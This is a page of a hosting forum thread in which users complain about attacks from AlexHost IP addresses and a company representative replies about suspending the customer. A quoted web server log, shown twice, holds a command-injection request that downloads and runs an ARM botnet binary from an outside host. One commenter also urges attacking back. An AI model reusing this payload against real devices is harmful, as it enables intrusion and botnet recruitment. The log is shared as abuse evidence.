Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!


Shells Virtual Desktop
BMail.ag - Secure Email Service
Server.net
CPLicense.net
VPS Server
Buy VPN
Vultr
VMs for AI
HostDare
ReliableSite White-Label Dedicated Hosting for Resellers
InterServer VPS
BMail.ag - Secure Email Service
Best VPN
High-Performance Bare Metal Server Solutions
Karvl.com
Server Mania Cloud Hosting
DataWagon Hosting
AlphaVPS Hosting
Evoxt.com
Clouvider
VPS Hosting with NVMe
Residential IPs in the US & 4G Mobile Proxies in EU & US with Unlimited Bandwidth
ReliableSite White-Label Dedicated Hosting for Resellers
Rabisu - Hosting Solutions
Shells Virtual Desktop
New on LowEndTalk? Please Register and read our Community Rules.

All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.

Attack is coming to my server from AlexHost

2»

Comments

  • I think Alexhost is a good reputable host! and they don't act role of police

    you can open a ticket, as for spectraip it is good place for hosting botnets

  • @mrTom said: Thats a pretty impressive percentage of customers that happen to be abusers, without any knowlegde of the host of course..... Imagine what would happen businesswise if they reacted on abuse reports...

    https://radar.cloudflare.com/security/application-layer/as200019?dateRange=24w

    Thanked by 1mrTom
  • LeviLevi Member

    Block asn and call it a day.

    Thanked by 1satorik
  • olokeoloke Member, Host Rep

    @mrTom said:

    @Protocol903 said: AlexHost has a habit of hosting habitual spammers and abusers. Here is a quick look:

    https://www.abuseipdb.com/check-block/91.208.184.113/24

    Thats a pretty impressive percentage of customers that happen to be abusers, without any knowlegde of the host of course..... Imagine what would happen businesswise if they reacted on abuse reports...

    Any activity that may lead to IP blacklisting (SpamHaus, StopForumSpam, SpamCop, Blocklist, anti-virus databases and any other blacklists).

    Weird since their AUP mentions specifically that any action leading to IP getting listed on blacklists is prohibited. I guess they don't enforce their terms too much.

    If you discover such attack coming from their subnets, you could probably get in touch with them ([email protected]), report the IP that's conducting attacks and get it suspended.

    Thanked by 1mrTom
  • alexhostalexhost Member, Patron Provider

    @jure12 said:
    Log from my server:

    91.208.184.113 - - [19/Jun/2025:15:35:57 +0200] "POST /device.rsp?opt=sys&cmd=S_O_S_T_R_E_A_MAX&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20arm7%3B%20wget%20http%3A%2F%2F193.32.162.74%2Fbins%2Farm7%3B%20chmod%20777%20arm7%3B%20.%2Farm7%20routers HTTP/1.1" 404 257

    Conclusion:
    This is an attack aimed at loading and executing a malicious binary on the server. Since the server responded with a 404, the attack failed via this path.

    Attacker's IP address:
    https://www.ip-tracker.org/lookup.php?ip=91.208.184.113

    @alexhost

    Hello, the customer was been suspended.

    We understand that this may seem bad to you, but we as a company don't know whether the customer will do something against the rules or not. There are several customers a day. We understand that this may seem bad to you, but we as a company don't know whether the customer will do something against the rules or not. There are several customers a day. We're no exception, all hosting companies have problems of this kind, it's normal.

    We are not a company that spies on customers, so we have no idea, except when we receive abuse or something valid that could justify such actions.

    Some IPs are blacklisted, requests are always sent to clean them up and remove them from the blacklist, but it's not always quick and the process sometimes takes longer than usual.

    If you have any problems, please contact us at [email protected].

    Thank you,
    Alexhost

    @Protocol903 said: My prediction: AlexHost is gonna deadpool in a year or around for one reason or another. I know it will.

    Well, that's a good prediction. There have been those who have said in the past that in 1 month we would have a serious problem (it was a threat), we won't reveal any more details.

    As it turned out, it's been several months, even a year if we're not mistaken.
    Why is this prediction? Based on what? For example.

    Alexhost

  • attack him back

    Thanked by 1Frameworks
  • zedzed Member

    @jure12 said: Log from my server:

    Why did you post this here? Did they not respond to your abuse report?

  • @alexhost said:

    @jure12 said:
    Log from my server:

    91.208.184.113 - - [19/Jun/2025:15:35:57 +0200] "POST /device.rsp?opt=sys&cmd=S_O_S_T_R_E_A_MAX&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20arm7%3B%20wget%20http%3A%2F%2F193.32.162.74%2Fbins%2Farm7%3B%20chmod%20777%20arm7%3B%20.%2Farm7%20routers HTTP/1.1" 404 257

    Conclusion:
    This is an attack aimed at loading and executing a malicious binary on the server. Since the server responded with a 404, the attack failed via this path.

    Attacker's IP address:
    https://www.ip-tracker.org/lookup.php?ip=91.208.184.113

    @alexhost

    Hello, the customer was been suspended.

    We understand that this may seem bad to you, but we as a company don't know whether the customer will do something against the rules or not. There are several customers a day. We understand that this may seem bad to you, but we as a company don't know whether the customer will do something against the rules or not. There are several customers a day. We're no exception, all hosting companies have problems of this kind, it's normal.

    We are not a company that spies on customers, so we have no idea, except when we receive abuse or something valid that could justify such actions.

    Some IPs are blacklisted, requests are always sent to clean them up and remove them from the blacklist, but it's not always quick and the process sometimes takes longer than usual.

    If you have any problems, please contact us at [email protected].

    Thank you,
    Alexhost

    @Protocol903 said: My prediction: AlexHost is gonna deadpool in a year or around for one reason or another. I know it will.

    Well, that's a good prediction. There have been those who have said in the past that in 1 month we would have a serious problem (it was a threat), we won't reveal any more details.

    As it turned out, it's been several months, even a year if we're not mistaken.
    Why is this prediction? Based on what? For example.

    Alexhost

    Most people who think Alexhost is going to deadpool don't realize that they've got a massive customer base in Moldova and the surrounding area. We just don't hear about it as much because a lot of us are anglophones.

    Thanked by 2PineappleM Marx
Sign In or Register to comment.